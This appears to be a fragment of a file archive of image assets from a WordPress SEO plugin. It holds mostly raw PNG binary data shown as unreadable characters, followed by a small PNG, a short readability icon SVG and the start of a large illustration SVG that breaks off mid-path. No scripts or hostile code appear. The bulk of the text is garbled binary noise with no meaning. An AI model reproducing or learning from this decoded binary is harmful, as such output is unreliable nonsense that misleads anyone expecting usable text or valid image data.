��yc�=]�8����k��qD�]ݟ�A�lw�'M����	�$!�����ʦ�[`K,j���M�l�l�V�u��Q�,����~�1��ԟ��i�:1tӱ9���Xκwv��/+�"�+��nӡ64����M�Pޑ�b6Н�t����?YXG�%� �1�^�L^��M:��tjy#�^�z�tL�{Z��^��ht�2���xO�`)�'�6EWJ��ކ}^vq�8��_F�6N�x�-�P&k�E�`Y�}���̍g�bY����oԣ��^�	DH�;�C�K�횎^�_�U��>_Mz�S-�<�l|�N���o��݁>�*
�bJ1�P,)������>G��B2ܫ���е�ؚId��zbn��\t�1����,m4�a��Z;KG�*��9G�e��`�X����{��:B����7�/ע�*Čb!�%[�_��{$�$�a�AN"���)��-�n ��zƽ9�k�u���]q�!}��X�θ�P�U��pay�=��0au+r�(.A�b���	ɤԢ֕��@���ʞǐ9q��Y��/���t#z���x��	��:��)�t���_�ם9]���k_2xߪ8��P\pF�.ȣb��f�o��B��|����{
���R��mgH���m9���87э1Q�� �vk��۳d�6*��Y�k�
���J\E��x�G���-<{�z���wdG�pBՐ�(��2�ZK�NR*��5�h���]k�R��Ԍ~�P�L#�k
П�2��J���R��r�!^�e[�jZ�0�;�g�(�{Eˮ�C.�W��*�4����yc��'2z�8�P��2:p)�wgF�d�p��<�+�耗ڦ��w݌j���]��9��u�N��f���d�'â/����q���;�1��ƪ�&f�����8��e�V�1pA��d,'�������鵗ɴ�Ȑ �
�8�R
�~-��ya�{��@dFl��I.�*�K��e9�@N���L�Z��Wbt����H��f.WߺG篰���q�`P���	�9}g����:�蜑��)�1`�uu����c�ѵ��ǰyغ��l`��0w{b�ݍp�õ���+��]�ǁ�MI@�1�2�3:G��Ʊ_gҖ��,)�5h�����oң�޶�w��s,�����<}�����I�\g��[Nt��w�M������\�1v��u��}���cF/��%\�}tз3z6��uhnc�K�����ńt�gt��p&)>\[�ڤ�*�b��3q�s�&w9��Y��
��@z`tC�F*:9�?e�}���)��O���:�#��z�!`Ǟ�n��Ю(��=WO�т:�הf:}bS�;�g0�����(�	`��]o�5b��E5�P���2��e>He�i54�H���т�r*��H��2:gTeX2�?�g�Ņs�L�|z�C���^W����F��|��0>
��Ah��Q%�'����	W�PD���9�W�q�%��UN�c�Tڰ5f����]��W͸\r�r�?�U�j�_�0�^q'�t��M���ޮ��@��$��|`�9�Z�y�ѝ#̰~���1"f\t�	s`uǘ_�V$\%/����Y��5"�"��t����3+����N��J)E�a���6�cK��=`��6XC='����P X�0�)����Vw�r�8$N���+>���q��W��
d~�޷b�K��W�i�2�P��U/sZEqa=�+�J2�}��S1g�&`�&c��1��i��n�+G�9�Cdt|x���_���Sdt�x�-��Nj�z���m�ː��^��9U9H,�z�R���f���b��ł��`M�$b�;i�������H7�G��'g��`��L%n�o?����H�.�D<���;���u(
do�Bqҁ����yjGb�:R3C�NmY��.��꒶�%�FFh7�#Q�W����[g5,U�T��t��
��� �ہ'H齧M��ëEw
�/!����ʯ�~�W?_��}���y��͚W
��D�;P_sCG�u���X�ݢ�%ct�0p���ѫ>-1�tDw�8�鲢��K�5*��h��P���zr��j�fm>ei�<ZT�M {EFWIv�����w�y���K�8C=0���,�}_ʧ�	�ܻk^�f�gZ�����=U�B
O��,�D������tk�o{����}��E�K���tz�@���+�o x��|dQ�aV�l��7���`��)�<�"P:IZ�֛��u�*aާ�.Β,�ͫ���!O���v9i��"k˓�k"�u���_��0��9���]!ܼV\��T�Fء0�Az�����38�fIA`a�Y�;�Cn�;q�M��6�-.o�q��'��dry�ч8^̫w��q�P������G�6���]�v:��;8��s�ǹ9^&�|r�����xK熉5�܉��dI]�U�g�	Sz��]{�o�0�)(�y�&Ffї��|3��={.�_#)YK�m;�l��S�t��
w_���g���*ccb��޺%�hߎ;�Kcj6�U�����C�o\���R�H���/1��Mf���A�w��l`�"����4:�	u�K?����8���Kp7�jw�L�(���r_]��%1��7��hupba���@�,a�vܤK�>��vH����ϟ��u?�������z:އ�!��=��o���Bߩ�7���ZS�i�]�8���ΌL�Œ~\!���y�n6�;Q����F%���W&�_��F-�\��-�M��ݛct{���q�i�\L���͎{����j��p�'�N�{�~-E����3� �q��Y�~y���iC���D�h}����y<`���61��}�ԔUL��.��u�f���{ơ��\̋>�e��o�o��G����Yt������Of��1�f���h��\�58������i����ҫ��C!�݄�L�b?З�9Uq`�m7`��aIuw��/�Դ0KU����Ӊup���"��C.T�UԷ်M�㩵��0�S:�T]���֝�Z�΁���]#����Z8Dz�2AN�s�Wem)��y�����5��s..�Z�Һϵy´�:�'ݱI��ZQ���収L-.��p_�{�Ӽp*��2���Y0-�a�j���
q9�ƫ>u�	!�ְ,wN�e�Z~����pH�iܦ�m�親<�btq�*л�Ƨl?�h*ىrۅT`Wx�l�"u��q�n,��\�OC���B���'f\dm|�x�
��1.iu�G��5'���;�-�ܱ�ꦚe�v�ڬވ"� s@Gsu�Q���^�&�`ts^�S�8vw�5� �� ��Ķ֞������4j>��{)�]}���@�Z��\����_�����xBP��q}Q>OŒ�n������'��h���tm�]t��vۘF���y���A��孙iڱ��o���"/�cA�X 
l%l��*vJ�
n�H�H�¹���vqd��Km;��� ,{;W��5��-�rɭb������F`ײ��=�tY���^wj�e�H˔��s�l0�s���(��㚀���}RXj1��V$��}�4r������¥X���#��;>�u��B�0��r�������rG,�/�\�V3$)\�m�^�eQ	�3��D�?�MZ��,-�JgԸE{Fd��e\�xP�t��Ī������߆�h)/Gl�aꪋ�W[M�[��έ�E�п	�&4�)r6����k[w1��t�\���ȑ�C����L�p�V:1��z\��
c��Z�骦�Y��,E��;���#z5�Z���`�	l(�L�v��i�T?���]_gt2z����@��z=�s���s�Ӳ�<��`.ed����kZ~�%��o;��?��n�Q•6�
�e�E���5*��C�qQ��:	?�s7=��Q?�3zP����eP�<
Z��ʚ�b#��i2��j�q7Β&
L�~���p�͸�Su{���0qp=Իt�E��=��u_�-�	bW?\EV���u¶�Y���Q�n�@��d����@����_�^����7�c	)Kw��{B]{�aX<E�zl�U����b��E�y[:¶�t�VY{2j^z��i�)���S�_�$�9�I�!>��ơ�?�	N?QE*Oν�ܩ�*�rK���p�(O���%a����L"���d�~5�P5U����6cб�⌛�b�Kr��2����yg�#=�3�WKk����u���YX�A5�}�,��(SF�(N�L����S�f��9��}�j���v��t(z��5�9,=Q5+dti�5"�o�x��`_{'�-�Iϗ�@�9�N�G_��#
Ϻ�����_�,%��;Cov�a��\g�&��F�1eg����d�x�7��^[�z�=���,@E?2�z@���m�h]�a�К�!��+��a;��"��1������݀�
���
mN�qsv�`���c�9z��u�3�+a�}�CŚ�dE�(z �+��9�{lH遵�F��#���wle�S�Ʈ2�\�
��f�
�+AN��~�ct��K�S}�O�F���^�yZ/(�+@o8ЋlvCV��!�翃l�<�Y��؅�'��c���-A��|PkUH��V�1xGp�ŗ�!�ZT�F�����E�M�Ę��o^vܢ��Ze�՜�3�GKك������ϑ��.9-��Z:IaI���������% �o�ut�x�R7�խ�*�%����\sU�}*�P�+�96�	��׌�T�2=�k��z�L��n(�r��G_k��-A�:�+M����+�`��v��#x�ZݦsJLl6��/���K�1�8|���|h�T�kL���rk�^�Q��f��ɵ���4������5�,�k�K��bCH�T��T:���A�9�m��i��N?�7K���_�W�8`�%�(��X ���.&:��2�m^O�x�u�DW?�
n�H���ӽ�X�5�j�&5�@}cu�2]"iu��T�r{%X���*3P�qt��DN���p3�\7@�e=�&P���nq���p��m�;��0�*��V�Y����n��;+�K}-2�:���2���W��$V5����N�餉߭�>�	�IWd,8�����Mtu� o[O��S�X�H�I��3�&::�ѻ��L�$�`a�����!ni
�����<5‹/ƚd�)Rf�t`]��m��J>��T�e/������L�ug��I������bЯe>4�+.ZvF��f�;����Ѭ�l16k�NI�d����2ݨ�;��R�=�tO�]�yH�œHʽ�L~�M��cӫ���p���n�8��|V?�{Mq^76�1ʱ�����Rl��-�R�k��b5��+�ڃ�3�'�a�;wGǬ��UuMl�|S&7zC��Ohϔ4Y4䮹�u��8;G�8���׌��os\
��t��	�'/��[l==�f�qM:7��xf�i�g��m��¹摱�0�Ua�0W���7o}c<gfw��L�	�K��u��FXy��j�kז�B�D�z[�Z�EZKP��$^�di�1D��ս�_�zW��������h��'��0��')i�6u0��[3�����<x֮F><�r^�}VE-*�1��
�ӵi�1�K�Z�iђ�F�Q�i�01�"OLv�ո�Ywuu�gayw�E��Ԡ1m��b�����MU%:H�k����)9�wS%�����C=l"��en��D�`e�i�m�7��_ݞ>xF��ϱ��97SE��,b=�}�1�U�_^^����.	uǽIu���'K)-���g`�Y�/��:�b��j�k���Y��2�b�Q� ��;O�jҨ�5v|}����
@'*boG)Ǒű�Vs��8"�8�&~����7�>㢿cp#��/g���E�(�qh�T�'~t�a�V�T�3����?���qE�P�
���\|pp�*�]T�c�B�	Ӊ�<&��gMS��p����:2�HC��kY�8�A�q�L���E�W�����K�����/v��cl�b^��g�ZLO��)�U�K,l�$�
K<�j+��
|�u_�^C]w4HGأ�3X+�
U}��6�����:|O|��:I�㘌^N��4�Xb7�8+���`��Z��k��v��::�q.�kb�;ER��Xg�m�7�W��L�����ƴtl��N�=��s������2z�q��B��=A�6�{
H��~t2��U�kh�k �'�^��;��x�=�xz�]b�L���q�`S`; .�K���a�L��8]ߞI���U`���9��n��褣k��K|��H�LWց]�?g�&m��̮[�����τt�L\U�ō����q�ϣ�mJ��磃��^̆T��p؀���A>���bq�~3��N5�Rl����P7 6�8
?�U�'����� �<C\RԤ���j�B�'a���M���_�1�����U�Jtxؾ�|����G�&�gI�^*��4V�i���K�8F����K�bn���հ�g�n#�=�C�k�ZA���Fh܉jCꃙc�iՉ��Z^�6�w R�WT1�+l�3搽�}�:�WwFTú��z����f�V6�!]%z�@�jug���U��R�9�~t�L��..5A}D��p��_W�;���ꬵ��x&��Rx��̶;%�?����H����P��*2���q ;�D��"��Һ�M[��R]\Mx��e;�q���Q������[$ǻ*�?�I>��I�*�3�n�*���::l�&�T�S�k�A��j�Ȳ?�9(=阊?�,6���
�t�Uz5<s�����CQ�m���E�!^f0��s��Kt
�����6���s�^�l���5���C��cس�-�N"`��㾍�%���ch6�wM�zx}0�Єt�]қ3�ae�����ZL���:xBr/���	�vUtz�(�}���
OĴ!�Zķ���� `�
3�ut��w�	��5����`R|�Kf690�)��x���/Yi8�c���7
��D�E�-6M>���a|1��3��[V#��-��g΀f�󍅼ĭKQ
5�`�xR�"v��1r=|�O���恮��knp�i���"�]]�s)%%��Z�m�n�q\�ʮ��1�K��M��޷�#au>q�d�%�n��S��lq/�d��A0�#7p��!�%0��q��+�Xv/�ڙ��+��;�nY%8�Kҙf���W5w�	X�Q�!�)���[�c,e���N��ri��^��6�O/:8�oV�j;xl�ת�a'���8��.Kc���=п�@�A�P�$U�%��Z�ʑ�{�Fee�I0K����N�+�CM>���н�-���,��r��e�&S}%���D��[�q��8�G�g��6yE��ӝ�m*�q�<0�T)R&+���	|�w��)�c�K%G���,R}lؽ6��S��D�����F9-v��a^5�E%zYV�K���H��M,��#��b��+�9���R�]�ch�g���D�������A�;��nz\���n��8s;Ʃ"�IiQk$:��;��5���@]|���n<�#~��@�Us;8�X`�UEo��^���P���>�%�%^�O��D���ľv]w7~v|耹��7p0�t���k^�y��&����dX\� [��
���4⽰�d`���
��{���3�q���%@�X~�t�����f3ewB)�^�nNx�ʇOk����x��B�g�Z�4��^G���7x!�=���T��>_u�?�F�`6��ٕ�̻c{W�_��r����g�]�6��'�"�4̭��#T��y\���akg9�D=��;K�V�9PtV[�����'fFG�n��VK=�2U��W����r��	ݞi��<tt�T�c6V�?�ò!�@�*�m��!m�.j7�
��6j��<���r.T{�{����rpT�m�P9�����H_�xB:N����Qgv��u�"C%ۻ9)\'G�e����u8��qdg��GA��%#[�t�܍�6�������������h�Npnpˀ�t;��+Jrݜ�)�P�f?GO��K:����+��f��Xk�?�]��
���/�{�9H����y��x���p6�W�f�o��@���j�o�p���&7g��9�y'Z�D}���[�ab�&�|
��mt�9-�w�}�$]{y9�)<��F�~e\�u`m������b�7��}�x���M�=�.͢��+�
:�7���]p�ԔpV��QW8M�]���G��C��K}��4�W�{P
u��M^j9��~ɞ������3k븺�jb�
�C�a��}�.��T|���^����
ׯ�W��]��<:S��y/�DD��m&���8�|kmg-��$՛(����7��^>_.���<� �ǂ9t�|V��ڻ��q�;ٴǃԎ�����C�}�#I�]J��'�۾�HQ�C)�����lu�bnVw5��@WS�����5� �9�1:�*�]C[�K��>���2H��e��y�;p)%���`nW���}�ݝW�W��v���)|7r"%]q>�\��EL��ۜ�Ctx��]&��s��C�v���{k@GcȅVǪ���״Mj���T��E%��SǞq���Ө�K�������J����p#
	JHo0�E�%�l�2�����!лa(�L��K���DRmfbc\�1�/;kV�z�%˶bZ�����=㪲r����c�ޮ4ڳ�3[�<�y�N��,��4�5��7��������Qe8S���v�o�����j��)Ǐ�"�he�q���%�v{<ɶ��0�����P�1�B(hڍ�����P䉎}��*���~A�	`6�V�k"�C��t��5���,upKn�CJ�2XM��s��qe�Q�������b諙Z��ۏ��y�C��9�VE��b�:��0Y�Nq��@�"�f�;P3��� P�ǫ�R�� �+G�@�e
%~e�>�J:�\`���W5^l
�}ݏx�a8�U��/���5��U�����g�Ec������
0���*#�1���5;�!���
X�&���6�:*jPO@k	��]�o�=.�%!%x�h�j'�k���6� �D@�.m�qlt���8�{�{�!�����H��IS���uyл�&�U��D�x��辧��M
ϯ�1��W��
@�G�`�I�%�z��2j��7)�+�xfJ���Oz�@�e�.�΁'`v�X7
�v1�>y�8��`�W`�u�"��4��� ������&�Ex�g���Rp�?f��`()V�\�L�{9��T5�n�HR�/�DM,�	ɕ���Q���簙&�Z���E�����םopH��X���෾����J�z׏�x�D'j�E�U�<>��)n2η�gX��a��;8����i|X7��#;z|'/�!����;��"v<_����c���־���產 S>��Ļ2����sVuؼ�g�����b�ˆ�=��=!a�\��0�6���Ui�(�+����zM-T����c��5a���jg�#��d���\�tkz����r�-ܦj	��PV)6�7ҽ!��IB��]әBI���5�Lr,����"N�<�Ž��B�;Π'2�q?C��$����鞖8�TڲD�g\�gί��rE�8�^����=`1��t%Y�jV��b݉v�ifEP�<�9Q�six)Ώ�2�n�Tv��W��_���coğR���Q�^q�u��55|�m���/�A�u�L�v.��^�{Fj/�;�Jj�b��Xտ�C�P�3���C�+�g�J:v������>��ܾ�tV�_�K��Ϧ��dY�9��`W�E�:F��M�yb�%9�r���&s��$t�e1f���R͏�/s2����Zĺ���R�ǀfȵ�j'p�ˀ���3�9�;[i�A;��>������(�tv�#��REW�l��I���Eq~9`{-���`�C��Z�A���p�즏��7
T>N\[��=��J�Pj�/ĹԋCI��;�9�V��u�.�
�tMtx��.��t���ʼۣ��<L�v�Q�g? w#Twc��F}�Ї�"xZ�\z��>H
ZJJ�܄����v�a�"�;�w�U�jc<3�}�&Քѩ�s��́JϷ�1؃]t�M�U��ƺW��G�J/�5�;:���V����ؐ�h*w[�K��/�����7��=fսT����ļ��#<��h
nLL�+�=@�S7���\K��ٍ
+��ݱ�dZ����1|52���(���U���T$�����>�6�k�D��\�6��)��r�N0�������M���^Iϙ�^k�l�s�ޭ���[�|�Q�+ƽ(x��0(8��T�K���૟���A]8f\x�ڗ՝7ѡՄz���[#�;�ѽE�
t»�|(�s���@�x^�;�nmf<���.�;�0��T�񩖍��z��G8�Բ��ku���NgS���u���Q
��h� �D��f�e<�}3ĥ~=A�k��q~�%����Ch���u��QN�
��|��a�6�8�yF�e�r�A��i��>��)���������5�a�>:��,�Z0Ыu]�P�1b=z#�V`Y��nf��t>d�H���hE���%X�ҏK�N@�7M"��UXI
gk��qU���)����+��sA�s�:yǜ�t���	�z^���f��K�7�XG�1�F\f�ώ�i�f@�8�D�to	ٯ~�X.<F8pX@[r�����tpcb,p
����
E,�G�DWlS�8rv�g���_ӧME�'
����XI��B�AY�n����݉n(��m�`�=�_�������4o��.e;]�y���u�8z����ߚl{ıSL|}*�U�ar�I�n�M�V$�e��v��4�����]�s����|��)�G�BC'[�_N��x���I��xԌ|Hw#c���ry.Ob�U]��Zjچ��xm�9`�Aq�P�$zkŋ�qKt6��k�=��I�xo
f���㐯^�/�u�E�,����S}� }����\XD��Cc���u�s��Na�i�Nj����4F62P���=&
�j�c�B⪍c]Y��s�"�ڋw\R��)��'$���6(��j�ut�a$�i�|"$�G?�G7;������oC�=@��*��y�1�Ww/��'���K�ނ{�~��<�s�8yMQ�Y%W�=u�`�Si�]�,��
u<.�YE�HR\�y{
�&E�_��IJ�N3�^o�����>Z�3�]�?�c�h3��ć��E�⥺��E���B0�U�|��5a��C-��o�RI�aQ�X��
���ޮ-�/�I��P琐�>�3CM�_+�V���R�J4"w�]^��_t6�CE��DG��i�I�
o��D�~�w��D�= om{���h;�s{���n�_��r��O�6$����®�%5X��)n�a�@��
�5�T�:��~'�Y~��*�#x�H�o���v���=@>��*P|G�HY%У��U�&��Ji��k�G���g׸n]�������T�o^��@E�r�4-�ٽ]A�/wqj�������1��ki�f���Tt���Z�/#�Ms;>�Y-�|��8���0'��	�X�[ap'�)/_.���כ��H�n���=xűD�Vw���"Zz�����_$:�]ڤ��&�ހvwJ�$;�t�݆&8�\��mZ�{����>��v��f�H��N1f(���*{o����sm��]2�y��eX�|]v�ڃn�&��ۈb�,�9	t���xsm73sP�;$�3��� ��Z�8��� �+�x%CiB���ev��6���ǻ۲Y�z��,�M�yxgS\ڸ���s-����>����d���g �û�Ɛ�
6ҨG��+�<�3/�/�O�	���H����d]�y����(��-.Iǹ �dz?��u��9�����K-��r��?J��/��3�w|q�>Y�]�q�V/I�{r�����u�$��(�DG�k�-�=���K���P�X�#�Z,K.�Z3��w%��:�����2��"�=�t�:Y8��7�߄z_u:�O�4�Sf�@�<�o��;�0i�tVG�7�x#S��x:�fI;�����=�~k�yir9"�s�=t�19��@
�<�%�k�Jz���~�N��p8�����o���m.���u��s�fLN�������6]�/���t�ʾ����yȏ���scn�͊������'|�è��B�	V�74�Y����A�頕&�Q�#F�=.Y�3Q�3u�~���t����80d�ҽrw\���~u}�.�󾟋�0��
[��ft⍅4��7�#)����P��V.�p�}1�4���4�ٍ~����-��_�0�ttІ��.a�t�/�A��J5�B��4M3��[q��]��4*�&���s���e�����_'�5�?Ӹ�~��4�˗h�o�_�r?p�4�A��AE�����@]�����DK�{�r �b��5�u�x��� �O��i�������>�鯗�t8_/�ܾ*��33�'�O�[�<�'똑:]K�<o�0a�G�,���m¤*��:�%���4͓����Qg|�x�����	����C_H���H����ѝ@�����}��ӽL�y7�g4z-]�/��W���uI�iS^�_2{�%u�`n����T���[�O6I�f�z0�o����F�Kt�C�}\nϳ�7��3;O9��^�>���1ynIE���wHw�W��n
�>`��;l��3ӛ��̋�����O���n�T�Æ�����%��~V@)�F�:��A4��x�@W`)*�}@��/��t�@��11�k�G]�TH+�'C�4���f���'Q�j�,���-��r%
鞐HO'���X��=�F�4K���O2���瑙28��^�������=Dq�b�o.
u+�X��I�D�3��E����߷	�����u��')�M�O����-2W�r�Ϗ�|��2��w�ob�ɞE�Ra㞺�=�o�ȣ�Se��.�����_(�0F�	9����o�[E/��_���F�oc���������aӸIEND�B`�wordpress-seo/images/question-mark.png000064400000000372147510273100014134 0ustar00�PNG


IHDR�a�IDATx�с��@�� $�������c8�ZX�^��G|����̌}������%�~dT���\�ZEFЀ�_,���{�3 �`�u(ȟ��*/��q���IE2_�*���ѝ������#�anD�g�`P_:�Ä�pb���GP:�,nĭ��g���F
�I���Dqv���?)��[IEND�B`�wordpress-seo/images/readability-icon.svg000064400000000743147510273100014571 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" role="img" aria-hidden="true" focusable="false"><path d="M2.42 19.81a.11.11 0 1 0 .19.1C5.75 14.5 8.88 17 13.17 14.17c-2.92 0-3.72-1.56-3.72-1.56a7 7 0 0 0 5.26.39c1-.8 2.79-2.64 2.93-6.59a3.44 3.44 0 0 1-2.42.29 4.81 4.81 0 0 0 2.4-1.7 5.85 5.85 0 0 0-2.74-5c.79 10.33-9.17 5.88-11.67 18.29A12.55 12.55 0 0 1 9 11.78c2.83-1.49 5.15-2.93 6-6.71-.64 4.56-2.7 6.25-5.55 7.53-2.66 1.2-5.39 2.68-7.03 7.21z" fill="#444"/></svg>wordpress-seo/images/woo_plugin_assistant.svg000064400000043316147510273100015630 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" focusable="false"><path d="M80 0h340c44.15 0 80 35.85 80 80v420H80c-44.15 0-80-35.85-80-80V80C0 35.85 35.85 0 80 0z" fill="#0082a3"/><path d="M420 0H80C35.82 0 0 35.82 0 80v340c0 44.18 35.82 80 80 80h75.89L437.61 1.97" fill="#fff" opacity=".13"/><path d="M46.1 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L112 236 75 119.8H34l54.4 139.8a57.539 57.539 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z" fill="#fff" opacity=".3"/><path d="M174.14 208.75c2.88 4.34 8.74 6.19 13.11 5.1 1.82 4 .36 7.65-14.2 12.74 4.59 1.19 18.57 7.65 26.94.73 1.66-6.54-1.73-7.83-1.27-14.56.05-.73 1.63-9.19 1.27-9.83-.45-.82-9.38-14.58-9.83-8.74-.73 9.47-9.47 16.02-16.02 14.56z" fill="#28201d"/><path d="M103.52 470.52c-5.76-1.55-11.2-5.16-15.29-1.24-5.82 5.59-4.44 12.17-5.18 16.29-.23 1.29-.4 2.72.32 3.81.52.8 1.4 1.26 2.18 1.8 3.08 2.13 4.46 4.8 5.82 8.82h60.03c-1.55-6.95-4.1-13.74-6.64-20.41a453.634 453.634 0 0 1-41.23-9.07z" fill="#ce806e"/><path d="M145.47 481.5c-1.77-.11-3.53-.27-5.28-.46-18.3-1.98-36.06-6.14-54.1-9.21-2.76 4.12-2.61 8.48-2.84 11.85 8.81 7.06 22.2 13.26 35.2 16.31h28.02c1.6-.62 3.06-1.38 4.36-2.32-1.4-5.48-3.34-10.87-5.35-16.17z" fill="#af6351"/><path d="M340.52 244.06c36.14 9.81 42.23 32.77 88.1 36.41-6.95 36.36-.93 61.62-5.82 64.8-14.56 9.47-50.97-14.2-56.79 20.39-12.11-34.02-38.21-80.14-66.99-101.94-2.58-1.96-13.08-7.77-13.83-10.92-1.24-5.2 32.36-14.97 55.34-8.74z" fill="#a4b6c1"/><path d="M301.2 244.79c-10.59-6.84-101.84 7.63-111.4 12.74-11.81 6.32-52.71 38.11-55.48 50.76-20.83 95.12 45.96 122.75 54.41 191.7h196.63c-.71-39.54-8.6-85.72-17.18-145.26-2.91-29.85-9.47-72.81-66.99-109.95z" fill="#34653b"/><path d="M197.24 211.78c.51 13.28-1.07 26.69-4.49 39.53-.63 2.37-1.33 4.83-.85 7.23.39 1.97 1.54 3.68 2.69 5.33 22.46 32.33 52.64 59.26 87.31 77.92-7.91-12.54-8.35-28.24-8.11-43.07.35-21.65 1.64-43.28 3.86-64.82-.21 2.04-39.48-18.37-42.67-20.6-13.57-9.45-27-32.1-40.36-41.5-2.96 9.54 2.25 30.24 2.62 39.98z" fill="#ce806e"/><path d="M256.6 278.28c9.83-3.28 8.19-7.1 14.2-13.65.15-.17 2.72 32.05 2.73 32.22.05-1.75.27-4.87.55-8.67.32-10.64.87-21.27 1.64-31.89-.07-2-.24-3.45-.55-4.08-3.49-6.97-26.15-12.08-33.35-15.52-8.04-3.85-16.5-8.06-21.29-15.58-5.82-9.15-5.37-21.99-13.38-29.3-4.47 3.04-7.28 5.69-11.57 6.24.62 4.22 1.22 8.18 1.51 11.39 1.8 3.52 4.47 5.73 10.37 3.31 3.82 39.32 34.4 63.89 49.15 65.53z" fill="#af6351"/><path d="M287.9 425.14v68.59h202.05v-67.92s-203.87-.67-202.05-.67z" fill="#0071bc"/><path d="M279.63 424.56v69.17h79.27v-68.49s-79.9-.68-79.27-.68z" fill="#9ec4d5"/><path fill="#1b1464" d="M282.44 416.96l.59 16.66h212.11v-16.66h-212.7z"/><path fill="#6d699c" d="M272.52 416.96l.23 16.66h92.7v-16.66h-92.93z"/><g fill="#9ec4d5"><path d="M407.57 448.68c-2.08-4.41-1.54-9.85-.03-10.62.24-.12.87-.3 1.45.74.11.19.73.6 1.34 1 .83.55 1.86 1.22 2.82 2.07l-.41.47c-.93-.82-1.94-1.48-2.75-2.02-.9-.59-1.37-.91-1.54-1.21-.13-.23-.39-.6-.62-.49-.98.5-1.79 5.34.31 9.8l-.57.27z"/><path d="M368.62 474.97H368c.09-6.03.87-20.64 6.22-26.26 2.14-2.25 4.25-.97 6.93.64 3.22 1.94 7.62 4.59 14.86 3.49 6.91-1.05 10.9-4.12 13.03-6.51 2.31-2.59 3-4.97 3-5l.1-.35.33.15c.12.06 12.55 5.77 23.63 15.74 6.95 6.25 18.43 7.7 28.55 8.98 8.98 1.13 16.07 2.03 17.65 5.97l-.58.23c-1.45-3.6-8.73-4.52-17.15-5.58-10.21-1.29-21.79-2.75-28.89-9.13-10.03-9.02-21.16-14.53-23.16-15.49-.28.78-1.11 2.74-3 4.87-2.2 2.48-6.31 5.66-13.43 6.74-7.45 1.13-11.98-1.59-15.28-3.57-2.72-1.64-4.37-2.62-6.16-.74-5.34 5.61-5.98 21.19-6.04 25.83z"/><path d="M451.25 485.37c-8.94 0-17.25-1.76-25.07-3.42-6.2-1.31-12.06-2.55-17.86-2.91l-.3 5.07h-42.44l-.17-1.64c-.34-3.25-.49-4.73.13-7.67l.05-.26h.26c.23.02 23.04.87 39.16.33 3.54-.12 8.8.86 14.9 1.99 17.36 3.21 43.59 8.06 63.31-5.79l.22-.15.19.19c1.7 1.75 1.72 2.89.08 5.08l-.09.08c-11.7 6.92-22.43 9.09-32.38 9.09zm-43.51-6.99l.31.02c5.95.33 11.93 1.6 18.27 2.94 16.38 3.47 34.94 7.41 56.94-5.57 1.36-1.83 1.4-2.64.11-4.03-19.91 13.81-46.17 8.96-63.56 5.74-6.07-1.12-11.33-2.08-14.77-1.98-15.2.51-36.33-.22-38.94-.31-.54 2.67-.4 4.04-.07 7.22l.11 1.08h41.29l.31-5.1zm8.175-26.65l4.052-7.13.539.306-4.052 7.13zm7.495 4.77l-.49-.39c1.46-1.82 2.83-4.05 3.78-6.12l.57.26c-.98 2.15-2.35 4.37-3.86 6.25zm8.93 4.58l-.56-.29 2.82-5.41.55.29-2.81 5.41zm6.883 3.37l.757-3.837.618.123-.757 3.835z"/><path d="M394.66 475.2c-2.49-10.8-10.06-18.81-22.52-23.8l.23-.58c12.66 5.07 20.36 13.23 22.9 24.24l-.61.14zm51.12 5.49l-.38-.5c3.13-2.37 5.9-5.17 8.22-8.32.37-.51.74-1.05.77-1.63.06-.99-.82-1.81-1.77-2.54-.69-.53-1.85-1.42-3.01-2.3-1.16-.89-2.32-1.77-3.02-2.3l.38-.49c.69.53 1.85 1.42 3.01 2.3 1.16.89 2.32 1.77 3.02 2.3 1.09.84 2.08 1.79 2.01 3.07-.04.75-.47 1.38-.9 1.96-2.36 3.2-5.17 6.05-8.35 8.45z"/></g><path d="M234.77 239.69c1.08 4.73 1.62 6.64 7.65 10.92-1.82 1.46-4.58 1.64-5.82 2.18 1.82 2.18 4.37 3.28 7.65 3.28.08 1.73-.74 4.05-5.52 3.37 1.23 5.32 18.57 6.83 16.97 25.39 2.28-2.56 4.7-10.59 5.82-13.83 1.64-4.72 1.2-5.78 4.57-9.47s8.37-7.65 10.56-11.65c.05.89-40.34-14.67-45.14-17.11 4.35 3.81 2.28 2.54 3.28 6.92z" fill="#28201d"/><path d="M189.65 237.86c-2.04 13.49-8.12 19.12-9.68 22.22 6.45 25.79 10.32 38.15 38.18 72-1.42-17.01-6.79-45.22 8.88-43.3-10.49-22.05-34.38-21.78-30.68-54.18-1.46-2.55-6.35.93-6.7 3.26z" fill="#e6e6e6"/><path d="M283.72 356.4c11.65-31.52-.88-66.04 1.68-74.34 2-6.47 5.08-11.97 11.43-14.34 2.55 1.46 3.46 17.99 1.41 27.21 3.28.41 6.6-16.49 7.65-26.34.7-6.61-21.15-16.39-30.25-19.3-.53 25.9-2.33 51.78-5.38 77.5-11.66-16.85-24.32-12.33-33.05-22.04-2.79-3.11-9.26-19.12-12.83-20.21-5.02-1.52-8.7 8.97-7.18 14.09 5.25 17.67 48.34 40.14 66.52 57.74z" fill="#e6e6e6"/><path d="M284.18 356.38c-5.46-6.01-49.42-31.67-67.99-52.42 0-10.65.99-15.26 6.01-13.29 6.01 2.37-1.64 19.3 61.98 65.71zm1.09-68.27c-.82-8.87 3.04-14.54 8.02-19.82 4.99-5.3 5.63.36 6.31 4.26.18 1.05 3.12 16.94-1.37 22.12-4.58-2.32-8.25-3.92-12.97-6.55zM187.6 336.5c1.12 13.63 4.53 39.49 1.62 52.86-1.29 5.93-3.25 11.75-6 17.17-2.39 4.71-8.29 9.5-8.52 14.83-.21 4.7 11.87 14.07 19.45 6.88 8.08-7.66 5.68-29.26 5.46-39.32-.33-14.91-7.31-38.27-12.01-52.42z" fill="#a4b6c1"/><path fill="#fff" d="M368.29 343.16l-4.91-27.85-45.88 4.91 3.28 27.85 47.51-4.91z"/><path d="M431.12 272.16c-2.79.39-5.63.98-8.03 2.46-4.72 2.92-6.81 8.62-8.28 13.97a148.648 148.648 0 0 0-5.28 39.13c0 5.5.41 11.35 3.61 15.83 3.75 5.27 10.44 7.43 16.72 8.95 7.56 1.83 15.23 3.2 22.95 4.09 4.6.53 12.83.41 17.3-.77 7.11-1.88 9.26-7.06 12.67-13.58 3.42-6.51 4.86-13.86 5.94-21.14 2.1-14.17 8.19-28.74-4.41-37.37-13.3-9.1-37.23-13.79-53.2-11.58z" fill="#e6e6e6"/><path d="M356.43 384.57c-1.18 